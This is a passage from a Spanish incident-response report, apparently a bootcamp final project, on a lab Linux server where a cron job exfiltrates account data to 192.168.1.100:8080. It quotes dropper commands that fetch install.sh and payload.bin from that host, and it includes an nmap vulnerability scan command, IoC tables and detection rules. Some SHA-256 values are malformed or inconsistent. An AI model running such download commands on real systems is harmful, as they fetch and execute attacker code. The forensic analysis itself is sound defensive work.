Modify: 2025-06-23 14:07:19.871901046 +0000
Change: 2025-06-23 14:07:19.871901046 +0000
 Birth: -
sysadmin@4geeks-server:~$
```

*Captura 63: Metadatos de /home/reports/.note. — UTC: 2025-08-19T18:52:00Z*

**Resultado:** root:root, 74 Bytes , Permisos 0644, Modify 14:07. Creación previa a la persistencia; refuerza la preparación en ese HOME no acorde a uso legítimo.

#### **6.9.14. Patrones de red/secretos bajo HOME (resumen)**

**Comando:** sudo grep -RInE '(curl .\*http|wget .\*http|sshpass|scp :.\*@)' /home

```
sudo grep -RInE '(curl .+http|wget .+http|sshpass|scp .*)' /home
/home/sysadmin/wazuh-history.sh:0:echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
/home/sysadmin/wazuh-install.sh:1277: until [ "$( curl -XGET https://"$nodes_dashboard_ip":$http_port"/status -uadmin:"$[u_pass]" -k -w "%{http_code}" -s -o /dev/null)" -eq "200" ]
[[ ${#[$?]} -eq "12?" ]] ; do
/home/sysadmin/wazuh-install.sh:1309: curl=$(common_curl -XGET https://"$indexer_node_ip[1]":9200 -uadmin:"$[u_pass]" -k -s --max-time 300 --retry 5 --retry-delay 5 --fail)
/home/sysadmin/wazuh-install.sh:1341: http_code=$(curl -XGET https://localhost:$http_port"/status -uadmin:"$[u_pass]" -k -w "%{http_code}" -s -o /dev/null)
/home/sysadmin/wazuh-install.sh:1346: http_code=$(curl -XGET https://localhost:$http_port"/status -uadmin:"$[u_pass]" -k -w "%{http_code}" -s -o /dev/null)
/home/sysadmin/wazuh-install.sh:1586: eval `common_curl -XGET https://"$indexer_node_ip[1]:9200" -uadmin:admin -k --max-time 120 --silent -output /dev/null`
/home/sysadmin/wazuh-install.sh:1632: eval `common_curl -XGET https://"$ip_to_test":9200" -k -s -o /dev/null`
/home/sysadmin/wazuh-install.sh:1649: eval `common_curl -silent $filebuild_wazuh_template` --max-time 300 --retry 5 --retry-delay 5` | eval `common_curl -XPUT 'https://$indexer_node_ip[1]:9200/_template/wazuh' -H "Content-Type: application/json" -d @ -uadmin:admin -k --silent --max-time 300 --retry 5 --retry-delay 5` $debug` | grep -q "200"
/home/sysadmin/wazuh-install.sh:1803: eval `common_curl -s -XPUT -H "Authorization: Bearer $TOKEN_API" -H "Content-Type: application/json" -d "$WAZUH_PASS_API" "http://localhost:55000/security/users/$[user_id]"` -o /dev/null --max-time 300 --retry 5 --retry-delay 5 --fail` | grep -q "200"
/home/sysadmin/wazuh-install.sh:1818: eval `common_curl -s -XPUT -H "Authorization: Bearer $TOKEN_API" -H "Content-Type: application/json" -d "$WAZUH_PASS_API" "https://localhost:55000/security/users/$[user_id]"` -o /dev/null --max-time 300 --retry 5 --retry-delay 5 --fail` | grep -q "200"
/home/sysadmin/wazuh-install.sh:1931: eval `common_curl -sLo "$centos_key" "https://www.centos.org/keys/RPM-GPG-KEY-CENTOS-Official" --max-time 300 --retry 5 --retry-delay 5 --fail` | grep -q "200"
/home/sysadmin/wazuh-install.sh:2884: while common_curl -s -I -o /dev/null -w "%{http_code}" "${manager_base_url}/{$manager_package}" --max-time 300 --retry 5 --retry-delay 5 --fail | grep -q "200"; do
/home/sysadmin/wazuh-install.sh:2894: if [ "$manager_revision" -gt 1 ] && [ "$common_curl -s -I -o /dev/null -w "%{http_code}" "${manager_base_url}/{$manager_package}" --max-time 300 --retry 5 --retry-delay 5 --fail" != "200" ]; then
/home/sysadmin/wazuh-install.sh:2903: while common_curl -s -I -o /dev/null -w "%{http_code}" "${indexer_base_url}/{$indexer_package}" --max-time 300 --retry 5 --retry-delay 5 --fail | grep -q "200"; do
/home/sysadmin/wazuh-install.sh:2913: if [ "$indexer_revision" -gt 1 ] && [ "$common_curl -s -I -o /dev/null -w "%{http_code}" "${indexer_base_url}/{$indexer_package}" --max-time 300 --retry 5 --retry-delay 5 --fail" != "200" ]; then
/home/sysadmin/wazuh-install.sh:2922: while common_curl -s -I -o /dev/null -w "%{http_code}" "${dashboard_base_url}/{$dashboard_package}" --max-time 300 --retry 5 --retry-delay 5 --fail | grep -q "200"; do
/home/sysadmin/wazuh-install.sh:2932: if [ "$dashboard_revision" -gt 1 ] && [ "$common_curl -s -I -o /dev/null -w "%{http_code}" "${dashboard_base_url}/{$dashboard_package}" --max-time 300 --retry 5 --retry-delay 5 --fail" != "200" ]; then
/home/sysadmin/wazuh-install.sh:3743: eval `common_curl -s -k -XPUT -H "Authorization: Bearer $TOKEN_API" -H "Content-Type: application/json" -d "$WAZUH_PASS_API" "http://localhost:55000/security/users/$[user_id]"` -o /dev/null --max-time 300 --retry 5 --retry-delay 5 --fail` | grep -q "200"
/home/sysadmin/wazuh-install.sh:3761: eval `common_curl -s -k -XPUT -H "Authorization: Bearer $TOKEN_API" -H "Content-Type: application/json" -d "$WAZUH_PASS_API" "https://localhost:55000/security/users/$[user_id]"` -o /dev/null --max-time 300 --retry 5 --retry-delay 5 --fail` | grep -q "200"
/home/sysadmin/wazuh-install.sh:3955: TOKEN_API=$curl -s -u "$[adminUser]:"$[adminPassword]" -X POST "https://localhost:55000/security/user/authenticate?raw=true" --max-time 300 --retry 5 --retry-delay 5
/home/sysadmin/wazuh-install.sh:3959: TOKEN_API=$curl -s -u "$[adminUser]:"$[adminPassword]" -k -X POST "https://localhost:55000/security/user/authenticate?raw=true" --max-time 300 --retry 5 --retry-delay 5
/home/sysadmin/wazuh-install.sh:3980: mapfile -t api_users <<(common_curl -s -k -X GET -H "Authorization: Bearer $TOKEN_API" -H "Content-Type: application/json" "\\"https://localhost:55000/security/users?pretty=true\\"" --max-time 300 --retry 5 --retry-delay 5 | grep userame | awk '{ print $2 }' | sed -e 's/[\\\'\\\"]/g')
/home/sysadmin/wazuh-install.sh:3985: mapfile -t api_passwords <<(common_curl -s -k -X GET -H "Authorization: Bearer $TOKEN_API" -H "Content-Type: application/json" "\\"https://localhost:55000/security/users?pretty=true\\"" --max-time 300 --retry 5 --retry-delay 5 | grep id | awk '{ print $2 }' | sed -e 's/[\\\'\\\"]/g')
/home/reports/.bash_history:2:wget http://192.168.1.100/install.sh
/home/reports/.install.sh:9:curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
svsadmin@geeks-server:~$
```

Captura 64: Indicadores de red en HOMEs. — UTC: 2025-08-21T18:52:00Z

**Resultado:** Se observan referencias directas a la IP 192.168.1.100: descargas vía wget/curl en /home/reports/.bash\_history y en /home/reports/install.sh (script “dropper”), y una entrada en /home/sysadmin/.bash\_history que intenta obtener http://192.168.1.100/install.sh, consistente con la siembra descrita para simular actividad de la cuenta reports. El resto de coincidencias pertenecen al instalador de Wazuh bajo /home/sysadmin y son llamadas internas del propio instalador, sin relación con esa IP. No se aprecian credenciales expuestas (claves, tokens o contraseñas), ni uso de sshpass ni comandos scp hacia 192.168.1.100.

## 6.10. Conectividad hacia el IoC (192.168.1.100)

### 6.10.1. Ruta efectiva hacia 192.168.1.100

Comando: ip route get 192.168.1.100

```
sysadmin@4geeks-server:~$ ip route get 192.168.1.100
192.168.1.100 via 192.168.68.1 dev enp0s3 src 192.168.68.109 uid 1000
    cache
sysadmin@4geeks-server:~$ █
```

Captura 65: Resolución de ruta al IoC. — UTC: 2025-08-19T19:48:55Z

**Resultado:** El tráfico a 192.168.1.100 se envía por la puerta de enlace 192.168.68.1. Coherente con política de salida permitida y con una tarea que realiza conexiones periódicas.

### 6.10.2. Comprobación de sockets activos hacia el IoC

Comando: ss -tpna | grep 192.168.1.100 || true

```
sysadmin@4geeks-server:~$ ss -tpna | grep 192.168.1.100 || true
sysadmin@4geeks-server:~$ █
```

Captura 66: Sockets TCP hacia el IoC (instantánea). — UTC: 2025-08-19T19:49:10Z

**Resultado:** Sin conexiones activas en el instante del muestreo. Dado que las ejecuciones son puntuales (cada 15 min), es esperable que muchas comprobaciones queden fuera de ventana.

## 6.11. Integridad y archivos “deleted” aún abiertos

### 6.11.1. Archivos eliminados aún abiertos

Comando: sudo lsof -nP +L1

```
sysadmin@4geeks-server:~$ sudo lsof -nP +L1
COMMAND PID USER FD   TYPE DEVICE SIZE/OFF NODE NAME
none   398 root  txt    REG      0,1     17032      0 16162 / (deleted)
sysadmin@4geeks-server:~$ █
```

Captura 67: Encabezado de archivos “(deleted)”. — UTC: 2025-08-19T20:59:18Z

**Resultado:** Se observa un archivo marcado como (deleted) aún abierto por un proceso. Es un patrón típico de rotación de logs (logrotate): el archivo se elimina del disco pero sigue accesible mientras el proceso mantiene el descriptor. **Aquí no hay indicios de uso malicioso.**

## 6.12. Inventario temporal y binarios SUID

### 6.12.1. Timeline sencillo de cambios en /root y /home

**Comando:** sudo find /root /home -xdev -printf '%TY-%Tm-%Td %TZ\t%p\n' | sort | head -80

```
sysadmin@4geeks-server:~$ sudo find /root /home -xdev -printf '%TY-%Tm-%Td %TZ\t%p\n' | sort | head -80
2019-12-05 14:39:21.0000000000Z /root/.bashrc
2019-12-05 14:39:21.0000000000Z /root/.profile
2020-02-25 12:03:22.0000000000Z /home/hacker/.bash_logout
2020-02-25 12:03:22.0000000000Z /home/hacker/.bashrc
2020-02-25 12:03:22.0000000000Z /home/hacker/.profile
2020-02-25 12:03:22.0000000000Z /home/sysadmin/.bash_logout
2020-02-25 12:03:22.0000000000Z /home/sysadmin/.bashrc
2020-02-25 12:03:22.0000000000Z /home/sysadmin/.profile
2025-06-21 19:04:10.8280005850Z /root/.ssh
2025-06-21 19:04:10.8280005850Z /root/.ssh/authorized_keys
2025-06-21 19:04:18.9720008600Z /root/snap
2025-06-21 19:04:18.9720008600Z /root/snap/lxd/24061
2025-06-21 19:04:18.9720008600Z /root/snap/lxd/32662
2025-06-21 19:04:18.9720008600Z /root/snap/lxd/common
2025-06-21 19:04:29.3360012100Z /home/sysadmin/.ssh/authorized_keys
2025-06-21 19:04:29.3440012100Z /home/sysadmin/.ssh
2025-06-21 19:05:06.2592979110Z /home/sysadmin/.cache
2025-06-21 19:05:06.2592979110Z /home/sysadmin/.cache/motd.legal-displayed
2025-06-21 19:39:50.3734486150Z /home/sysadmin/.sudo_as_admin_successful
2025-06-21 19:44:43.6118035720Z /home/sysadmin/wazuh-install.sh
2025-06-21 19:49:14.6892426740Z /root
2025-06-21 19:49:14.6892426740Z /root/.local
2025-06-21 19:49:14.6892426740Z /root/.local/share
2025-06-21 19:54:52.4184827210Z /home/reports/.bash_logout
2025-06-21 19:54:52.4184827210Z /home/reports/.bashrc
2025-06-21 19:54:52.4184827210Z /home/reports/.profile
2025-06-21 19:58:45.1391314960Z /home/sysadmin/.local
2025-06-21 19:58:45.1391314960Z /home/sysadmin/.local/share
2025-06-21 19:58:45.1391314960Z /home/sysadmin/.local/share/nano
2025-06-23 13:35:47.0690432740Z /root/.local/share/nano
2025-06-23 13:35:47.0690432740Z /root/.local/share/nano/search_history
2025-06-23 14:07:19.8719010460Z /home/reports/.note
2025-06-23 14:07:53.9999970090Z /home/reports/.cache
2025-06-23 14:07:53.9999970090Z /home/reports/.cache/motd.legal-displayed
2025-06-23 14:19:54.7659726560Z /home/reports/.bash_history
2025-06-23 14:28:02.3712827420Z /home/reports/install.sh
2025-06-23 14:30:40.6597062920Z /home/reports/backup.log
2025-06-23 14:40:35.0932934920Z /home/reports
2025-06-23 14:40:35.0932934920Z /home/reports/chat.txt
2025-06-23 15:02:47.5800293160Z /home
2025-06-23 15:02:47.5800293160Z /home/hacker
2025-06-23 16:45:20.5691692230Z /home/sysadmin/.bash_history
2025-08-22 14:29:42.5281757180Z /home/sysadmin
2025-08-22 14:29:42.5281757180Z /home/sysadmin/.config
2025-08-22 14:29:42.5281757180Z /home/sysadmin/.config/procps
2025-08-22 14:32:51.1008461490Z /root/snap/lxd
2025-08-22 14:32:51.1008461490Z /root/snap/lxd/current
sysadmin@4geeks-server:~$
```

Captura 68: Timeline resumido de /root y /home. — UTC: 2025-08-19T19:56:30Z

**Resultado:** Actividad concentrada el 2025-06-23, especialmente en el HOME de reports. Encaja con la cronología reconstruida a partir de scripts y tareas.

### 6.12.2. Binarios con bit SUID

Comando: sudo find / -perm -4000 -type f 2>/dev/null

```
sysadmin@4geeks-server:~$ sudo find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/ssh/ssh-keysign
/snap/snapd/18357/usr/lib/snapd/snap-confine
/snap/core20/2599/usr/bin/chfn
/snap/core20/2599/usr/bin/chsh
/snap/core20/2599/usr/bin/gpasswd
/snap/core20/2599/usr/bin/mount
/snap/core20/2599/usr/bin/newgrp
/snap/core20/2599/usr/bin/passwd
/snap/core20/2599/usr/bin/su
/snap/core20/2599/usr/bin/sudo
/snap/core20/2599/usr/bin/umount
/snap/core20/2599/usr/lib/dbus-daemon-launch-helper
/snap/core20/2599/usr/lib/ssh/ssh-keysign
/snap/core20/1828/usr/bin/chfn
/snap/core20/1828/usr/bin/chsh
/snap/core20/1828/usr/bin/gpasswd
/snap/core20/1828/usr/bin/mount
/snap/core20/1828/usr/bin/newgrp
/snap/core20/1828/usr/bin/passwd
/snap/core20/1828/usr/bin/su
/snap/core20/1828/usr/bin/sudo
/snap/core20/1828/usr/bin/umount
/snap/core20/1828/usr/lib/dbus-daemon-launch-helper
/snap/core20/1828/usr/lib/ssh/ssh-keysign
sysadmin@4geeks-server:~$
```

Captura 69: Binarios SUID esperables. — UTC: 2025-08-19T21:00:37Z

**Resultado:** Conjunto de SUID acorde a Ubuntu 20.04. No se observan binarios añadidos o anómalos que apunten a escalada adicional.

## 6.13. Hashes SHA-256 de evidencias clave

### 6.13.1. Cálculo agrupado de hashes (trazabilidad)

#### Comando

```
sudo sha256sum \
/etc/cron.d/sys-maintenance \
/usr/local/bin/backup2.sh \
/home/reports/.bash_history \
/home/reports/install.sh \
/home/sysadmin/.bash_history \
/var/log/auth.log \
/var/log/syslog \
/opt/.archive/credentials.txt \
/var/backups/.logs/creds.txt \
| sort
```

```
sysadmin@geeks-server:~$ sudo sha256sum /etc/cron.d/sys-maintenance /usr/local/bin/backup2.sh /home/reports/.bash_history /home/reports/install.sh /home/sysadmin/.bash_history /var/log/auth.log /var/log/syslog \
/opt/.archive/credentials.txt /var/backups/.logs/creds.txt | sort
24bf44c456357751cb08ff1df2fb3496cc7f8e821f2af60527cc0bbdd9268e /opt/.archive/credentials.txt
24bf44c456357751cb08ff1df2fb3496cc7f8e821f2af60527cc0bbdd9268e /var/backups/.logs/creds.txt
2f258480580003d46866a540561982293acd6e7abbefef904fd8d8380db947e /var/log/auth.log
30970681131505372b7f07f30b5663303f410f7739999999da74b08b4725024 /home/reports/.bash_history
4dd4ea4984767a0b8f053853a30f7245d84e67758ff03f92c3eaf1ff5fd328cc2 /home/sysadmin/.bash_history
7efbc8efab30b48d76377abe1d2a2c7c09d8866b4614ab0b22cd18ee4286a6 /etc/cron.d/sys-maintenance
e7ec0bb3d38bbch37ee8aaab2e380a01743ce58ef99bb6ae388d3aa1cb7b422f9 /home/reports/install.sh
f679152f1b3dccea39f0df7037cd28028b353473ae1de6700c2be78d3455aa9699
sysadmin@geeks-server:~$
```

Captura 70: Hashes SHA-256 de evidencias principales. — UTC: 2025-08-19T19:57:10Z

**Resultado:** Se generan huellas criptográficas (SHA-256) de piezas clave. Permiten verificar de forma independiente que los archivos no han sido modificados desde su adquisición, reforzando la cadena de custodia lógica.

## **7. Conclusiones del incidente principal**

En el sistema se estableció una **tarea programada** ubicada en /etc/cron.d/sys-maintenance que, cada quince minutos, ejecuta el script /usr/local/bin/backup2.sh. Este script comprime el fichero de cuentas del sistema y lo envía sin cifrar al destino 192.168.1.100:8080. La existencia de la tarea, del script y de sus primeras ejecuciones consecutivas quedó acreditada por las evidencias citadas (Capturas 20–24).

**El escenario** fue posible por una combinación de factores: el acceso remoto admitía contraseña, la salida de red estaba permitida por defecto y había servicios expuestos sin cifrado, junto con una cobertura de supervisión incompleta sobre rutas clave del sistema. En conjunto, estas condiciones explican la instalación y el mantenimiento de la tarea sin requerir técnicas avanzadas (véanse los apartados 6.5, 6.7 y 9.1).

Respecto a **la atribución**, los registros muestran que las acciones preparatorias se ejecutaron desde la consola local (TTY=tty1) con elevación de privilegios, y no desde sesiones SSH interactivas. Se constató, además, la inserción deliberada de comandos en el historial del usuario reports y el depósito de credenciales en ubicaciones accesibles, lo que desacredita la autoría aparente de esa cuenta y evidencia un intento de desviar responsabilidades (Capturas 47–49 y 56–60).

El **riesgo observado** se concentra en la confidencialidad (inventario de cuentas sin contraseñas); no se detectaron daños en la integridad ni interrupciones del servicio. A la fecha de cierre de la observación, la tarea seguía activa. Con la suma de (i) los comandos con sudo desde TTY=tty1, (ii) la siembra demostrada en ~reports y en los depósitos de credenciales, y (iii) la única persistencia efectiva vía cron identificada, se concluye con alta confianza que el host fue preparado localmente para exfiltrar información y para inducir una atribución errónea hacia reports. La cadena de envío hacia 192.168.1.100:8080 queda probada y resulta coherente con la política de salida permisiva descrita en el apartado 6.5.2.

## 8. Mitigaciones del incidente

Prioridad	Mitigación	Justificación	Verificación esperada
Alta	Retirada controlada de /etc/cron.d/sys-maintenance y /usr/local/bin/backup2.sh (con hashes previos)	Elimina la persistencia y corta la exfiltración actual	Ausencia de ejecuciones en journalctl -u cron y en syslog
Alta	Deny de salida + allowlist; bloqueo a 192.168.1.100:8080	Evita C2/ exfiltración no autorizada	Logs de denegación y pruebas de alcance fallidas
Alta	SSH solo con llaves + restricción por IP (PasswordAuthentication no, PermitRootLogin no, MaxAuthTries 3, AllowUsers, Match Address, AuthenticationMethods publickey)	Reduce abuso de credenciales	Comprobación de sshd_config y prueba de acceso
Alta	Retirar FTP o migrar a SFTP/FTPS	Evita credenciales y datos en claro	Pruebas de servicio y configuración
Media	HTTPS+HSTS, TLS 1.2/1.3, ServerTokens Prod, ServerSignature Off	Cifra tráfico web y reduce huella	curl -I 80 → 443, a2query -m ssl

## **9. Incidentes paralelos y mitigaciones**

### **9.1. Wazuh (agente/FIM)**

Evidencia: systemctl status wazuh-agent activo.

Riesgo: Cobertura FIM sin incluir /etc/cron\*, /usr/local/bin/, /.ssh/authorized\_keys.

Mitigación: Incluir esas rutas y una correlación “cron ejecuta curl|wget → alerta alta”; alertar creación/modificación en /etc/cron.d/\* y apariciones de http:// en scripts bajo root.

### **9.2. Firewall/UFW**

Evidencia: ufw status con salida permitida por defecto (apartado 6.5.2).

Mitigación: ufw default deny outgoing + allowlist por negocio + logging (o control perimetral equivalente).

## 10. Otras vulnerabilidades detectadas y mitigaciones

---

Componente	Versión	CVE	Severidad	Evidencia	Mitigación
openssh-server	8.2p1	CVE-2023-3840, CVE-2020-15778	Media–Alta	Nmap	Actualizar a rama soportada
HTTP sin TLS	*:80	—	Media	6.5.3 y 6.5.5	TLS + redirección 80 → 443 + HSTS
Apache HTTPD	2.4.41	CVE-2024-38476, CVE- 2023-45802	Alta– Crítica	Escaneo Nmap (Anexo)	Actualizar y endurecimiento adicional.
FTP sin TLS	vsftpd	—	Media	Captura 19	Retirar o FTPS/SFTP
Política de salida	allow out—	—	Media	Captura 15	Deny out + allowlist

---

## **11. Tablas de evidencias (SHA-256) e Índices de Compromiso (IoC)**

### **11.1. Tabla — Evidencias y hashes (SHA-256)**

Ítem	Ruta	SHA-256
sys-maintenance	/etc/cron.d/sys-maintenance	7efbc8efa6b30b48d276377abeb1da24c7c09d8866b4614db022cd18ee4286a6
backup2.sh	/usr/local/bin/backup2.sh	f679152f3b3dcea39f0df7037cd28028b353473ae1de6706c2be78d3455aa969
install.sh	/home/reports/install.sh	e7eceb03d38bbcb37ee88aab2e380a01743ce58ef99b6ae388d3aa1cb7b422f9
reports/.bash_history	/home/reports/.bash_history	46d4ea4984767a0b8f053853a30f7a45db4ea67750f03f92caea1f5f2d328cc2
sysadmin/.bash_history	/home/sysadmin/.bash_history	3197291315053873b7f707f30b5663303f410f7739999999dd74b68b4725924
auth.log	/var/log/auth.log	6c7ee2fb18a23cf897582766ce2a0f94a370078d8fd7c65526b091e008e1ca0
auth.log.1	/var/log/auth.log.1	2c2fdfce6dd5c635f1ef8515cc2c9f3b687527e3cfe0a8d37f95a728e2998217
syslog	/var/log/syslog	eb04220825fb2f3095e90d7462f615c3e93f9905745c6defdac71a5637b53d5b
syslog.1	/var/log/syslog.1	5efdb495fe82e595120b63744c9d08d9af748637293ff5d7971b8c716226438b
credentials.txt	/opt/.archive/credentials.txt	24bfa4c456357751c808f1df22fb349e6cc7f8e821f2af605b27cc0b0d69268e
creds.txt	/var/backups/.logs/creds.txt	24bfa4c456357751c808f1df22fb349e6cc7f8e821f2af605b27cc0b0d69268e

## 11.2. Tabla de Índices de Compromiso (IoC)

Tipo	Indicador / Hash	Ruta/Ubicación	Primera vez (UTC)
IP/PUERTO	192.168.1.100:8080	/usr/local/bin/backup2.sh; reports/install.sh; sysadmin/.bash_history	2025-06-23 14:28–15:06
ARCHIVO	/etc/cron.d/sys-maintenance	Cron.d	2025-06-23 15:08
ARCHIVO	/usr/local/bin/backup2.sh	Script de exfiltración	2025-06-23 15:06
ARCHIVO	/home/reports/install.sh	Dropper	2025-06-23 14:28 (mod 14:31)
ARCHIVO	/opt/.archive/credentials.txt	Secreto sembrado	2025-06-23 14:09–14:10
ARCHIVO	/var/backups/.logs/creds.txt	Copia del secreto	2025-06-23 16:43
ARCHIVO	/home/reports/.note	Artefacto sembrado	2025-06-23 14:07
IP (incongruente)	102.168.1.100	reports/backup.log	—

	<b>backup2.sh</b> →		
HASH (SHA-256)	f679152f3b3dcea39f0df7037 cd28028b353473ae1de6706 c2be78d3455aa969	/usr/local/bin/ backup2.sh	—
	<b>sys-maintenance</b> →		
HASH (SHA-256)	7efbc8efa6b30b48d276377a beb1da24c7c09d8866b4614 db022cd18ee4286a6	/etc/cron.d/sys- maintenance	—
	<b>install.sh</b> →		
HASH (SHA-256)	e7eceb03d38bbcb37ee88aa b2e380a01743ce58ef99b6ae 388d3aa1cb7b422f9	/home/reports/ install.sh	—
	<b>credentials.txt / creds.txt</b> →		
HASH (SHA-256)	24bfa4c456357751c808f1df2 2fb349e6cc7f8e821f2af605b 27cc0b0d69268e	/opt/.archive/ credentials.txt; /var/backups/.logs/cre ds.txt	—

## **12. Anexos**

## Anexo A — Recorte de Nmap (

(Nmap lanzado contra la replica exacta del servidor, creada ex profeso para la realización de pruebas disruptivas de este tipo, para, de ese modo, actuar sin alterar el original ni sus evidencias)

**Comando:** sudo nmap -sV -Pn -p21,22,80 --script vulners --script-args 'mincvss=7.0'

```
192.168.68.112 | egrep -E '^((PORT|[0-9]+/tcp|[[[:space:]\\]]*)*CVE-[0-9]{4}-[0-9]+)'
```

Captura 71: Salida Nmap sobre (VM Clon) del server original

**Resultado:** El servidor expone tres servicios: FTP, acceso remoto (SSH) y web (Apache). El principal riesgo está en la web: la versión instalada arrastra fallos graves conocidos; se recomienda actualizar y activar navegación segura (HTTPS). SSH también requiere actualización y endurecer el acceso (usar llaves y limitar intentos). Aunque FTP no muestra avisos críticos, si opera sin cifrado expone contraseñas y archivos; lo adecuado es retirarlo o migrar a su variante segura. Importante: este resultado se basa en las versiones detectadas y **no demuestra** que esas debilidades se hayan usado en el incidente principal.

## **13. Referencias y glosario**

### **13.1. Referencias.**

**Instrucciones:** <https://4geeks.com/es/syllabus/spain-cs-pt-7/project/final-project-live-incident-response>.

**Blue Team Field Manual:** <https://4geeks.com/es/lesson/guia-de-investigacion-de-incidentes-para-analistas-blue-team>

**Manuales oficiales: GNU/Linux** (man pages, documentación online).

**NIST 800-61** (Gestión/Respuesta a Incidentes):

<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r3.pdf>

**ISO 27001 / ENS**

### **13.2. Glosario**

#### **Análisis en vivo (Live Incident Response)**

Intervención directa sobre un sistema encendido, sin apagarlo, para observar su estado y detectar un posible incidente de seguridad.

#### **Artefacto**

Archivo, configuración o rastro creado durante un ataque que sirve como evidencia de actividad maliciosa. Ejemplo: un script, un log manipulado o un fichero sembrado.

#### **Bash history (.bash\_history)**

Archivo donde el sistema guarda los últimos comandos escritos por un usuario en la terminal Linux. Puede manipularse para engañar sobre quién hizo qué.

#### **Bit SUID (Set User ID)**

Permiso especial en Linux que permite a un programa ejecutarse con privilegios más altos de los del usuario que lo lanza. Puede ser usado para escalar privilegios si está mal configurado.

#### **C2 (Command and Control)**

Servidor controlado por un atacante al que la máquina comprometida se conecta para recibir órdenes o enviar datos.

#### **Confidencialidad, Integridad, Disponibilidad (CIA triad)**

Principios básicos de seguridad informática:

**Confidencialidad:** que los datos solo los vea quien está autorizado.

**Integridad:** que los datos no se modifiquen de forma indebida.

**Disponibilidad:** que los sistemas y servicios estén accesibles cuando se necesitan.

### **Cron / cron.d / crontab**

Sistema de tareas programadas en Linux. Permite ejecutar comandos o scripts de forma periódica (ejemplo: cada 15 minutos).

### **Credenciales**

Datos que identifican a un usuario y le dan acceso (ej. nombre de usuario y contraseña).

### **DHCP (Dynamic Host Configuration Protocol)**

Protocolo que asigna de manera automática una dirección IP a los equipos dentro de una red.

### **Dropper**

Programa pequeño cuya única función es descargar e instalar otro software malicioso más completo.

### **Exfiltración de datos**

Acción de sacar información desde un sistema hacia el exterior sin autorización (ejemplo: enviar la lista de usuarios a un servidor externo).

### **FIM (File Integrity Monitoring)**

Monitorización de integridad de archivos. Técnica que vigila cambios en ficheros críticos del sistema para detectar manipulaciones sospechosas.

### **Hash (SHA-256)**

Huella digital única de un archivo. Si el archivo cambia en una sola letra, el hash cambia por completo. Se usa para comprobar integridad.

### **Historial sembrado (siembra en .bash\_history)**

Inserción manual de comandos falsos en el historial de un usuario, con el fin de culparlo o desviar la autoría de una acción.

### **Indicador de Compromiso (IoC)**

Evidencia concreta que señala que un sistema puede estar comprometido. Puede ser una IP sospechosa, un nombre de archivo, un hash, etc.

### **Incongruente / Siembra deliberada**

Colocar datos falsos (ejemplo: una IP mal escrita) para despistar al analista y dificultar la atribución real del ataque.

### **Logs**

Registros automáticos que guardan eventos del sistema: accesos, errores, reinicios, etc. Son la “caja negra” de la máquina.

### **Persistencia**

Mecanismo usado por un atacante para asegurarse de que su acceso o programa malicioso siga funcionando aunque el sistema se reinicie.

### **Puertos y servicios en escucha**

Un “puerto” es como una puerta de entrada/salida de comunicaciones en el sistema. Si está en escucha, significa que hay un servicio esperando conexiones (ejemplo: puerto 22 para SSH).

**SSH (Secure Shell)**

Protocolo para conectarse de forma remota a un servidor de manera segura. Puede configurarse para usar contraseña o claves criptográficas.

**TTY (Teletype terminal)**

Identificador de la consola desde la cual un usuario interactúa.

**tty1** → acceso físico o consola local.

**pts/0, pts/1...** → acceso remoto por SSH.

**UFW (Uncomplicated Firewall)**

Herramienta que gestiona reglas de cortafuegos en Linux (qué conexiones entran o salen del sistema).

**UTC (Coordinated Universal Time)**

Hora universal estandarizada, usada para evitar confusiones con zonas horarias.

**Analista:** Diego Barreiro